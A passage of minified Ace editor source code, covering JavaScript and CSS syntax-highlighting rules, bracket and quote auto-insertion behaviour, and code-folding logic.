erval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_